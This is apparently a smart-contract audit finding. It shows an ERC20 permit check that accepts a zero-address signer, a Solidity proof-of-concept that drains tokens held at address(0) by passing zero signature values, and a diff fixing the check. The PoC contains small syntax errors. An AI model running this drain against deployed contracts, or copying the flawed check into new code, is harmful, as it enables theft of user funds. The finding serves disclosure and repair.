if (recoveredAddress != address(0) && recoveredAddress != owner) {
    revert Invalid(msg.sender, owner);
}
function attack(IZcToken zctoken) {
    zctoken.permit(
        address(0x0),
        address(this),
        type(uint).max,
        block.timestamp,
        uint8(0),  // using 0 for r,s,v returns address(0x0) from ecrecover()
        bytes32(0),
        bytes32(0)
    );
    assert(zctoken.allowance(address(0x0), address(this)), type(uint).max);

    uint amount = zctoken.balanceOf(address(0x0)

    zctoken.transferFrom(
        address(0x0),
        address(this),
        amount
    );

                                    
    // assumes attacker has previously acquired notional
    IMarketPlace(mp).burnZcTokenRemovingNotional(
        zctoken.protocol(),
        zctoken.underlying(),
        zctoken.maturity(),
        address(this),
        amount
    );
                                    
    // .. repeat until drained, then move on to next token
        
}
diff --git a/Creator/Erc20.sol b/Creator/Erc20.sol
index a1f72b0..8464626 100644
--- a/Creator/Erc20.sol
+++ b/Creator/Erc20.sol
@@ -162,7 +162,7 @@ contract Erc20 {
                 s
             );

-            if (recoveredAddress != address(0) && recoveredAddress != owner) {
+            if (recoveredAddress == address(0) || recoveredAddress != owner) {
                 revert Invalid(msg.sender, owner);
             }
